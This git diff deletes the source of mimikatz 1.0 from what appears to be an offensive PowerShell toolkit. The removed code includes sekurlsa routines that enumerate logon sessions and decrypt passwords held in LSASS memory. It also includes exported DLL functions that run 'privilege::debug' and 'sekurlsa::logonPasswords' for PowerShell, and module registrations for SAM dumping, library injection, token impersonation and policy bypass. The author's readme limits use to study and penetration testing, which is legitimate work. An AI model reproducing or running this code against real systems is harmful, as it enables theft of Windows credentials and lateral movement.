- DWORD Length;
- DWORD MaximumLength;
- wchar_t * Buffer;
-} LSA_SECRET, *PLSA_SECRET;
-
-typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED) (LSA_HANDLE * pHPolicy);
-typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET) (LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret);
-typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET) (LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime);
-typedef NTSTATUS (WINAPI * PLSA_R_CLOSE) (LSA_HANDLE * pHandle);
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp
deleted file mode 100644
index 1d07596..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp
+++ /dev/null
@@ -1,86 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "sekurlsa.h"
-PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable = NULL;
-
-__kextdll bool __cdecl getDescription(wstring * maDescription)
-{
- maDescription->assign(L"SekurLSA : librairie de manipulation des donnes de scurits dans LSASS\n");
- return mod_system::getVersion(&mod_system::GLOB_Version);
-}
-
-bool searchLSAFuncs()
-{
- if(!SeckPkgFunctionTable)
- {
- if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv"))
- {
- struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsasrv, "LsaIRegisterNotification"), GetProcAddress(hLsasrv, "LsaICancelNotification")};
- if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification)
- mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true);
- }
- }
- return (SeckPkgFunctionTable != NULL);
-}
-
-wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass)
-{
- wstring password;
- if(ptrPass->Buffer && (ptrPass->Length > 0))
- {
- BYTE * monPass = new BYTE[ptrPass->MaximumLength];
- RtlCopyMemory(monPass, ptrPass->Buffer, ptrPass->MaximumLength);
- SeckPkgFunctionTable->LsaUnprotectMemory(monPass, ptrPass->MaximumLength);
- password.assign(mod_text::stringOrHex(reinterpret_cast(monPass), ptrPass->Length));
- delete[] monPass;
- }
- return password;
-}
-
-bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders)
-{
- bool sendOk = true;
- PLUID sessions;
- ULONG count;
-
- if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions)))
- {
- for (ULONG i = 0; i < count && sendOk; i++)
- {
- PSECURITY_LOGON_SESSION_DATA sessionData = NULL;
- if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData)))
- {
- if(sessionData->LogonType != Network)
- {
- wostringstream maPremiereReponse;
- maPremiereReponse << endl <<
- L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
- L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
- L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl <<
- L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;
-
- sendOk = sendTo(monPipe, maPremiereReponse.str());
-
- for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++)
- {
- wostringstream maSecondeReponse;
- maSecondeReponse << L'\t' << monProvider->second << L" : \t";
- sendOk = sendTo(monPipe, maSecondeReponse.str());
- monProvider->first(&sessions[i], monPipe, mesArguments->empty());
- sendOk = sendTo(monPipe, L"\n");
- }
- }
- LsaFreeReturnBuffer(sessionData);
- }
- else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les donnes de session\n");
- }
- LsaFreeReturnBuffer(sessions);
- }
- else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'numerer les sessions courantes\n");
-
- return sendOk;
-}
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h
deleted file mode 100644
index c36e173..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h
+++ /dev/null
@@ -1,23 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "kmodel.h"
-#include "secpkg.h"
-#include "mod_memory.h"
-#include "mod_system.h"
-#include "mod_text.h"
-#include "mod_process.h"
-
-extern PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable;
-
-bool searchLSAFuncs();
-__kextdll bool __cdecl getDescription(wstring * maDescription);
-
-typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity);
-bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders);
-
-wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass);
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc
deleted file mode 100644
index 2243435..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj
deleted file mode 100644
index dbea2a6..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj
+++ /dev/null
@@ -1,154 +0,0 @@
-
-
-
-
- Release
- Win32
-
-
- Release
- x64
-
-
-
- {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}
- Win32Proj
- sekurlsa
-
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
-
-
-
-
-
-
-
-
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
-
-
-
- Level3
- NotUsing
- Full
- true
- true
- WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)
- Size
- true
- false
- Fast
- false
- false
- None
-
-
- Windows
- false
- true
- true
- psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies)
- NoErrorReport
-
-
-
-
- 0x040c
-
-
-
-
- Level3
- NotUsing
- Full
- true
- true
- WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)
- Size
- true
- false
- Fast
- false
- false
- None
-
-
- Windows
- false
- true
- true
- psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies)
- NoErrorReport
-
-
-
-
- 0x040c
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters
deleted file mode 100644
index 936fcde..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters
+++ /dev/null
@@ -1,122 +0,0 @@
-
-
-
-
- {87c9f520-31d1-4b44-a523-415e0c703bde}
-
-
- {8c6588bf-b3cf-4080-b59e-3ce82a6ccd62}
-
-
- {9e44771d-18f4-407a-8f89-508cf5c366ff}
-
-
- {541a9eff-641d-4a77-9b1f-e72ad6a7c0fa}
-
-
- {ba6b07a5-6d5b-4632-ad6e-56690630eaa7}
-
-
- {1e52fbf9-a352-419f-870b-3c4e265781d8}
-
-
-
-
- {7fcd7c52-b4e5-4c6c-9dc7-190fbe667193}
-
-
- {c175e3ec-41d0-4474-bbc7-eb1962a7fc70}
-
-
- {b3819528-2e60-46a3-b37a-7c575a4d866a}
-
-
-
-
- Modules Communs\Communication
-
-
- Modules Communs\Parseur
-
-
- Modules Communs\Librairie Modèle
-
-
- Modules Communs\Mémoire
-
-
-
- Modules Communs\System
-
-
- Security Packages
-
-
- Security Packages
-
-
- Modules Communs\Texte
-
-
- Modules Communs\System
-
-
- Modules locaux pour sekurlsa
-
-
- Modules locaux pour sekurlsa
-
-
- Modules locaux pour sekurlsa
-
-
- Modules locaux pour sekurlsa
-
-
-
-
- Modules Communs\Communication
-
-
- Modules Communs\Parseur
-
-
- Modules Communs\Librairie Modèle
-
-
- Modules Communs\Mémoire
-
-
-
- Modules Communs\System
-
-
- Security Packages
-
-
- Security Packages
-
-
- Modules Communs\Texte
-
-
-
- Modules Communs\System
-
-
- Modules locaux pour sekurlsa
-
-
- Modules locaux pour sekurlsa
-
-
- Modules locaux pour sekurlsa
-
-
- Modules locaux pour sekurlsa
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/lisezmoi.txt b/Exfiltration/mimikatz-1.0/lisezmoi.txt
deleted file mode 100644
index eed6a50..0000000
--- a/Exfiltration/mimikatz-1.0/lisezmoi.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-mimikatz
-========
-
-
-Cette archive ne contient que les binaires pour les architectures x86 (Win32) et x64. Des extraits de diffrents codes source sont disponibles : http://blog.gentilkiwi.com/mimikatz
-Cet utilitaire ne peut tre utilis qu' des fins d'tudes, pentests et autres actions lgales en accord avec la licence prcise ci-dessous.
-
-Plus globalement, merci de respecter la philosophie avec laquelle cet outil a t cr, c'est dire en ne permettant pas son utilisation des fins malveillantes.
-Je ne serais en aucun cas responsable de l'utilisation qui serait faite de ces technologies.
-
-Binaires, codes source, drivs et utilisations sous Licence : http://creativecommons.org/licenses/by/3.0/fr/
-Exception pour la librairie sekurlsa : http://creativecommons.org/licenses/by/3.0/fr/
-_____________________________________________________
-Benjamin DELPY `gentilkiwi`
-http://blog.gentilkiwi.com/mimikatz
-benjamin@gentilkiwi.com
-
-
-anti-gpo standalone
-===================
-
-Ces outils ont ts remplac par l'utilisation directe de mimikatz
-
-* KiwiRegedit
- mimikatz nogpo::regedit exit
-
-* KiwiCmd
- mimikatz nogpo::cmd exit
-
-* KiwiRegedit
- mimikatz nogpo::taskmgr exit
-
-
-outils incorpors
-=================
-
-* psexec.exe
- PsExec v1.98 - Execute processes remotely
- Mark Russinovich (Sysinternals / Microsoft)
-
-* tee.exe
- GNU shellutils 1.9.4
- http://unxutils.sourceforge.net/
-
-* winmine.exe
- Dmineur de Windows XP
- Robert Donner et Curt Johnson (Microsoft)
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz.sln b/Exfiltration/mimikatz-1.0/mimikatz.sln
deleted file mode 100644
index aa46f44..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz.sln
+++ /dev/null
@@ -1,85 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimikatz", "mimikatz\mimikatz.vcxproj", "{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kelloworld", "librairies\kelloworld\kelloworld.vcxproj", "{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}"
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "librairies", "librairies", "{B17EB705-1C68-44FD-A82B-860C539219A8}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sekurlsa", "librairies\sekurlsa\sekurlsa.vcxproj", "{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klock", "librairies\klock\klock.vcxproj", "{6556249E-1C80-4047-A863-F608C8B8AC55}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kappfree", "kappfree\kappfree.vcxproj", "{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}"
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{7999D050-6332-45F7-A343-C343902B1453}"
- ProjectSection(SolutionItems) = preProject
- lisezmoi.txt = lisezmoi.txt
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "En-têtes", "En-têtes", "{24371643-CEFE-4590-BB29-6141CB5E25D1}"
- ProjectSection(SolutionItems) = preProject
- commun\globdefs.h = commun\globdefs.h
- commun\secpkg.h = commun\secpkg.h
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Icons", "Icons", "{80532836-DE52-40AD-B373-E4098BF52E1F}"
- ProjectSection(SolutionItems) = preProject
- commun\icons\cmd_32.ico = commun\icons\cmd_32.ico
- commun\icons\cmd_48.ico = commun\icons\cmd_48.ico
- commun\icons\cmd_kiwi.ico = commun\icons\cmd_kiwi.ico
- commun\icons\mimikatz_bird.ico = commun\icons\mimikatz_bird.ico
- commun\icons\mimikatz_fruit.ico = commun\icons\mimikatz_fruit.ico
- commun\icons\mimikatz_fruit_16.ico = commun\icons\mimikatz_fruit_16.ico
- commun\icons\regedit_32.ico = commun\icons\regedit_32.ico
- commun\icons\regedit_48.ico = commun\icons\regedit_48.ico
- commun\icons\regedit_kiwi.ico = commun\icons\regedit_kiwi.ico
- commun\icons\taskmgr_32.ico = commun\icons\taskmgr_32.ico
- commun\icons\taskmgr_48.ico = commun\icons\taskmgr_48.ico
- commun\icons\taskmgr_kiwi.ico = commun\icons\taskmgr_kiwi.ico
- EndProjectSection
-EndProject
-Global
- GlobalSection(SubversionScc) = preSolution
- Svn-Managed = True
- Manager = AnkhSVN - Subversion Support for Visual Studio
- EndGlobalSection
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Release|Win32 = Release|Win32
- Release|x64 = Release|x64
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.ActiveCfg = Release|Win32
- {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.Build.0 = Release|Win32
- {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.ActiveCfg = Release|x64
- {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.Build.0 = Release|x64
- {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.ActiveCfg = Release|Win32
- {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.Build.0 = Release|Win32
- {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.ActiveCfg = Release|x64
- {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.Build.0 = Release|x64
- {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.ActiveCfg = Release|Win32
- {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.Build.0 = Release|Win32
- {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.ActiveCfg = Release|x64
- {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.Build.0 = Release|x64
- {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.ActiveCfg = Release|Win32
- {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.Build.0 = Release|Win32
- {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.ActiveCfg = Release|x64
- {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.Build.0 = Release|x64
- {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.ActiveCfg = Release|Win32
- {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.Build.0 = Release|Win32
- {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.ActiveCfg = Release|x64
- {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.Build.0 = Release|x64
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
- GlobalSection(NestedProjects) = preSolution
- {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} = {B17EB705-1C68-44FD-A82B-860C539219A8}
- {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} = {B17EB705-1C68-44FD-A82B-860C539219A8}
- {6556249E-1C80-4047-A863-F608C8B8AC55} = {B17EB705-1C68-44FD-A82B-860C539219A8}
- {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} = {B17EB705-1C68-44FD-A82B-860C539219A8}
- {24371643-CEFE-4590-BB29-6141CB5E25D1} = {7999D050-6332-45F7-A343-C343902B1453}
- {80532836-DE52-40AD-B373-E4098BF52E1F} = {7999D050-6332-45F7-A343-C343902B1453}
- EndGlobalSection
-EndGlobal
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog
deleted file mode 100644
index ce3b7c5..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog
deleted file mode 100644
index 5b567c0..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog
deleted file mode 100644
index f911a97..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog
deleted file mode 100644
index 88decc7..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog
deleted file mode 100644
index 8e0945c..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog
deleted file mode 100644
index 4395a0c..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate
deleted file mode 100644
index 4d28193..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate
+++ /dev/null
@@ -1,2 +0,0 @@
-#v4.0:v100
-Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\|
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res
deleted file mode 100644
index ab3f94d..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog
deleted file mode 100644
index ee7a2bc..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog
+++ /dev/null
@@ -1,5 +0,0 @@
-^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\mimikatz\mimikatz.vcxproj
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.exp
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.exp
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog
deleted file mode 100644
index 7de5294..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog
deleted file mode 100644
index a9809e1..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog
deleted file mode 100644
index 5913372..0000000
Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp
deleted file mode 100644
index 365bd1a..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp
+++ /dev/null
@@ -1,5 +0,0 @@
-#include
-#include
-#include "global.h"
-
-std::wostream *outputStream = &std::wcout;
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.h b/Exfiltration/mimikatz-1.0/mimikatz/global.h
deleted file mode 100644
index 4bfe000..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/global.h
+++ /dev/null
@@ -1,4 +0,0 @@
-#pragma once
-#include
-
-extern std::wostream *outputStream;
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp
deleted file mode 100644
index 8862e42..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp
+++ /dev/null
@@ -1,73 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Modifications in this file made by: Joe Bialek. Twitter: @JosephBialek.
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "globdefs.h"
-#include
-#include
-#include "mimikatz.h"
-#include
-
-int wmain(int argc, wchar_t * argv[])
-{
- setlocale(LC_ALL, "French_France.65001");
- _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
- _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
- _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
-
- /*SetConsoleCP(CP_UTF8);
- SetConsoleOutputCP(CP_UTF8);*/
-
- vector * mesArguments = new vector(argv + 1, argv + argc);
-
- mimikatz * myMimiKatz = new mimikatz(mesArguments);
- delete myMimiKatz, mesArguments;
- return ERROR_SUCCESS;
-}
-
-extern "C" __declspec ( dllexport) wchar_t* WStringFunc()
-{
- wostringstream *stringStream = new wostringstream();
- outputStream = stringStream;
-
- vector* mesArguments = new vector();
- (*mesArguments).push_back(L"privilege::debug");
- (*mesArguments).push_back(L"sekurlsa::logonPasswords");
- (*mesArguments).push_back(L"exit");
-
- mimikatz* myMimikatz = new mimikatz(mesArguments);
- delete myMimikatz, mesArguments;
-
- wstring output = (*stringStream).str();
- const wchar_t* outputStr = output.c_str();
- wchar_t* out = new wchar_t[output.size() + 1];
- wcscpy(out, outputStr);
- out[output.size()] = '\0';
-
- return out;
-}
-
-extern "C" __declspec ( dllexport) wchar_t* PSMimikatz(LPCWSTR input)
-{
- wostringstream *stringStream = new wostringstream();
- outputStream = stringStream;
-
- int argc = 0;
- LPWSTR* argv = CommandLineToArgvW(input, &argc);
-
- vector * mesArguments = new vector(argv, argv + argc);
-
- mimikatz* myMimikatz = new mimikatz(mesArguments);
- delete myMimikatz, mesArguments;
-
- wstring output = (*stringStream).str();
- const wchar_t* outputStr = output.c_str();
- wchar_t* out = new wchar_t[output.size() + 1];
- wcscpy(out, outputStr);
- out[output.size()] = '\0';
-
- return out;
-}
-
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp
deleted file mode 100644
index 7265ef9..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp
+++ /dev/null
@@ -1,286 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "mimikatz.h"
-
-bool mimikatz::initLocalModules()
-{
- mod_system::getVersion(&mod_system::GLOB_Version);
- mod_mimikatz_sekurlsa::loadLsaSrv();
- mod_cryptoapi::loadRsaEnh();
-
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion systme", mod_mimikatz_system::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilges", mod_mimikatz_privilege::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accs", mod_mimikatz_impersonate::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du dmineur", mod_mimikatz_winmine::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du dmineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands()));
